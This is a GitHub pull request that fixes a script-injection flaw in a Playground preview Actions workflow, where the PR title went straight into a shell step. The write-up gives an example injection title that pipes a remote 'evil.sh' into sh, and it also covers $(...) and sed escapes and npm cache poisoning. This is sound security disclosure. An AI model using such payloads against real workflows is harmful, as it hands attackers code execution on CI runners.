Repository navigation
Fix GitHub Actions script injection via PR title in Playground preview workflow - #34
Merged
roborourke merged 1 commit intoAug 12, 2026
Conversation
The 'Replace version with PR info' step interpolated
${{ github.event.pull_request.title }} directly into a run: block. Because
${{ }} is substituted textually before the shell runs, a PR titled
a"; curl evil.sh | sh; # executed as shell on the runner.
Pass the PR number through env instead of interpolating it into source, and
drop the attacker-controlled title entirely: stamp a fixed 0.0.0-pr<number>
version string, which is also safe against sed replacement metacharacters.
Move the PR number/head SHA in the push step to env too, so no ${{ }}
expression is interpolated into any shell script.
Add a same-repo guard so the job does not run for fork PRs, whose read-only
token cannot push the pr-<n>-built branch.
roborourke
marked this pull request as ready for review
August 12, 2026 19:02
roborourke
deleted the
security/fix-playground-preview-script-injection
branch
August 12, 2026 19:02
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
.github/workflows/pr-playground-preview.ymlinterpolated the attacker-controlled PR title directly into arun:shell block, allowing arbitrary command execution on the runner. This fixes it by passing values throughenv:and dropping the title in favour of a fixed0.0.0-pr<number>version string, and adds a same-repo fork guard.This workflow is not on
main. It was introduced by #11 (claude/server-side-render-previews-1zFB5→main), which is closed and unmerged, and its source head branch has since been deleted. The file now survives only on the generated build branchpr-11-built(which the workflow force-pushes to), so:maintoday.pr-11-built(the only ref that still carries the file) rather thanmain.pr-11-built's vulnerable history.The vulnerability
${{ ... }}is substituted textually before the shell parses the script. A PR titled:expands the first line to:
— i.e. the assignment ends early and
curl evil.sh | shruns as a command. (Because the title also lands inside double quotes, a title containing$(...)or backticks executes even without breaking out.) There is a second hazard: the title was also spliced into asedreplacement, sosedmetacharacters (/,&,\) in a title are a separate injection surface even after the shell is made safe.github.event.pull_request.number(numeric) andgithub.event.pull_request.head.sha(SHA) are not attacker-controlled — the title is.Trigger, token scope, and real severity
pull_request(notpull_request_target), types[opened, synchronize, reopened, edited].editedmeans simply renaming a PR re-triggers it.GITHUB_TOKENis read-only and secrets are unavailable, which caps the blast radius. This is not the worst-case (pull_request_target/issue_comment) variant.actions/setup-nodewithcache: 'npm', so npm cache poisoning is a plausible escalation into later runs on the default branch. For a same-repo PR the token iscontents: write+pull-requests: write, so an injected command there runs with a writable token.Net: real but currently latent (the file isn't on
main, and #11 is closed). Worth fixing so it can't be reintroduced live.The fix
0.0.0-pr${PR_NUMBER}— safe as shell data and free ofsedmetacharacters, and a more useful version string. Mirrors the reference implementation inhumanmade/query-filter.env:in bothrun:steps (PR_NUMBER,HEAD_SHA) so they reach the shell as data, quoted as"${PR_NUMBER}". After this change no${{ }}expression is interpolated into anyrun:block.if: github.event.pull_request.head.repo.full_name == github.repositoryso the job doesn't run for fork PRs, whose read-only token cannot pushpr-<n>-built(it would hard-fail rather than skip cleanly).Triage of remaining
${{ }}(none inrun:blocks)env:in the tworun:stepsgithub.event.pull_request.number,...head.shablueprint:with:inputgithub.repository,...pull_request.numbergithub-token:with:inputsecrets.GITHUB_TOKENProgrammatically confirmed zero
${{inside anyrun:block after the change.Verification
python3 -c "import yaml; yaml.safe_load(...)"→ valid YAML.run:block contains${{.Out of scope — follow-ups (not fixed here, to keep this scoped to the injection + fork guard)
pr-cleanup.yml(also only onpr-11-built): no attacker-controlled injection — itsrun:block uses onlysecrets.GITHUB_TOKEN,github.repository, andgithub.event.pull_request.number(all safe). It is, however, missing the same fork guard and embeds the token in a remote URL; worth hardening in a follow-up.npm ci(overnpm i), SHA-pinned action refs, and aconcurrencygroup, as thequery-filterreference does. Unrelated to the injection, so left out.Generated by Claude Code